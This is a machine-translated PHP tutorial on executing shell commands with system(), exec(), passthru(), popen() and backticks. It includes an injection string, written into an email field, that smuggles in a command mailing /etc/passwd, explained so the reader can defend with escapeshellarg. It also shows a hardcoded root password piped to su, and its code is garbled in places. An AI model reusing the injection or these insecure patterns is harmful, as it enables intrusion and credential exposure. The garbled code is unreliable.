_php tutorial for executing system external commands in PHP

Source: Internet
Author: User
PHP as a server-side scripting language, like writing simple, or complex dynamic Web pages such a task, it is fully capable. But this is not always the case, sometimes in order to achieve a function, you have to rely on the operating system external programs (or called commands), so you can do more with less. So, is it possible to invoke external commands in a PHP script? If so, how do you do it? What are some of the concerns? I'm sure you will be able to answer these questions after reading this article. Is it possible? The answer is yes. PHP, like other programming languages, can invoke external commands entirely within a program, and is simple: just use one or several functions. Prerequisites because PHP is basically used for Web program development, security has become an important aspect of people's thinking. So PHP's designers have added a door to PHP: Safe mode. If you are running in Safe mode, then the PHP script will be subject to the following four limitations: Execute external commands when opening a file some restrictions connect MySQL database HTTP-based authentication in safe mode, only external programs in a particular directory can be executed, and calls to other programs are rejected. This directory can be specified in the php.ini file with the Safe_mode_exec_dir directive, or in the compiler PHP is added--with-exec-dir option, the default is/usr/local/php/bin. If you call an external command that you should be able to output (meaning that there is no error in the PHP script), the result is a blank space, so it is likely that your network administrator has already run PHP in safe mode. How to do? Calling external commands in PHP can be done in three ways: 1) PHP provides a special function for PHP to provide a total of 3 dedicated functions to execute external commands: System (), exec (), PassThru (). System () Prototype: string system (String command [, int return_var]) the system () function is similar in other languages, it executes the given command, outputs and returns the result. The second parameter is optional and is used to get the status code after the command executes. Example: System ("/usr/local/bin/webalizer/webalizer");?> exec () prototype: string exec (String command [, string array [, int retur N_var]]) the EXEC () function is similar to System (), executes the given command, but does not output the result, but returns the last line of the result. Although it returns only the last line of the command result, it uses a secondThe parameter array can get the complete result by appending the result line to the end of the array. So if the array is not empty, it is best to clear it with unset () before calling it. The third parameter can be used to obtain the status code of the command execution only if the second parameter is specified. Example: EXEC ("/bin/ls-l"); EXEC ("/bin/ls-l", $res); EXEC ("/bin/ls-l", $res, $RC);?> PassThru () prototype: void PassThru (String command [, int return_var]) PassThru () invokes only the command and does not return any Results, but the results of the command are output directly to the standard output device. So the PassThru () function is often used to invoke programs such as Pbmplus (a tool for processing pictures under Unix, a stream of output binary raw images). It can also get the status code of the command execution. Example: Header ("Content-type:image/gif"); PassThru ("./ppmtogif hunte.ppm");?> 2) Open a process with the Popen () function The above method can simply execute the command, but cannot interact with the command. But sometimes you have to enter something into the command, such as when adding Linux system users, to call Su to change the current user to root, and the SU command must enter the root password on the command line. In this case, it is obviously not possible to use the method mentioned above. The Popen () function opens a process pipeline to execute the given command, returning a file handle. Now that you have returned a file handle, you can read and write to it. In PHP3, the handle can only be done in a single mode of operation, either written or read, and starting from PHP4, you can read and write at the same time. Unless the handle is opened in a pattern (read or write), you must call the Pclose () function to close it. Example 1: $fp =popen ("/bin/ls-l", "R"),?> Example 2 (this example from the PHP China Alliance website http://www.phpx.com/show.php?d=col&i=51):/* How to add a system user to PHP below is a routine that adds a user named James, and the root password is verygood. For reference only * * $sucommand = "su--login root--command"; $useradd = "Useradd"; $roOTPASSWD = "Verygood"; $user = "James"; $user _add = sprintf ("%s"%s "%s", $sucommand, $useradd, $user); $fp = @popen ($user _add, "w"); @fputs ($fp, $ROOTPASSWD); @pclose ($FP);?> 3) Use the anti-apostrophe (', that is, the one below the ESC key on the keyboard, and ~ on the same top) This method was not previously included in the PHP document, as a trick to exist. The method is simple, use two anti-apostrophes to enclose the command to be executed as an expression, and the value of the expression is the result of the command execution. such as: $res =/bin/ls-l; echo. $res.; ?> the output of this script is like: hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php what to consider? There are two issues to consider: security and timeouts. Look at security first. For example, you have a small online store, so the list of products you can sell is placed in a file. You write an HTML file with a form, let your users enter their email address, and then send the product list to them. Assuming you're not using PHP's Mail () function (or you've never heard of it), you're going to call the Linux/unix system's mail program to send the file. The program is like this: System ("Mail $to < products.txt"); echo "Our catalogue has been sent to your mailbox: $to";?> with this code, the average user does not have any danger, but there is actually a very big security hole. If a malicious user entered such an email address:--bla; Mail someone@domain.com </etc/passwd; Then this command eventually becomes: Mail--bla; Mail someone@domain.com </etc/passwd; < Products.txt I believe that no matter which network manager sees such a command, it will scare out a cold sweat. Fortunately, PHP provides us with two functions: Escapeshellcmd () and Escapeshellarg (). The Escapeshellcmd function escapes all characters in a string that may be hidden from the shell and execute another command. These characters have special meanings in the shell, like semicolons (), redirect(>) and read-in from files (<). The function escapeshellarg is used to handle the arguments of the command. It adds single quotes around the given string and escapes the single quotes in the string so that the string can be safely used as a parameter to the command. Take a look at the timeout problem. If the command to be executed takes a long time, then the command should be placed in the background of the system to run. However, by default, functions like system () wait until the command finishes running before returning (in effect, waiting for the output of the command), which will definitely cause the PHP script to time out. The solution is to redirect the output of the command to another file or stream, such as: System ("/usr/local/bin/order_proc >/tmp/null &");?>

http://www.bkjia.com/PHPjc/531771.html www.bkjia.com true http://www.bkjia.com/PHPjc/531771.html techarticle PHP as a server-side scripting language, like writing simple, or complex dynamic Web pages such a task, it is fully capable. But things are not always so, sometimes in order to achieve a certain ...

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.